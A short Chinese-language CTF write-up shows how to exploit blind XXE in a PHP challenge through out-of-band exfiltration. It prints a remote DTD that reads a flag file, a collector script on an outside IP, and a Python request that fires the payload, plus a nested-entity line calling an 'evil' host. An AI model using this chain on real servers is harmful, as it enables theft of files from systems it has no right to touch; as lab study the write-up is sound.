跳转至

XXE解决无回显

代码审计

<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

我们可以用自己的VPS实现带外输出

首先建一个index.php

<?php 
    $cookie = $_GET['q'];
    $myFile = "cookie.txt";
    file_put_contents($myFile, $cookie, FILE_APPEND);
?>

evil.dtd

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://42.192.137.212/index.php?q=%file;'>">

python发送请求即可,之后再网站根目录cookie.txt查看获取的flag即可

import requests

url = 'http://8bb031b1-bab9-43fe-b73b-d9741ed6617b.chall.ctf.show/'
payload = """<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://42.192.137.212/evil.dtd">
%remote;%int;%send;
]>
"""
requests.post(url, data=payload)

备注

关于实体嵌套的情况,比较幸运的是DTD中支持单双引号,所以可以通过单双引号间隔使用作为区分嵌套实体和实体之间的关系;在实际使用中,我们通常需要再嵌套一个参数实体,%号是需要处理成 % 如下:

<!ENTITY % param1 '<!ENTITY % xxe SYSTEM "http://evil/log?%payload;" >'

&#37;也可写为16进制&#x25;

评论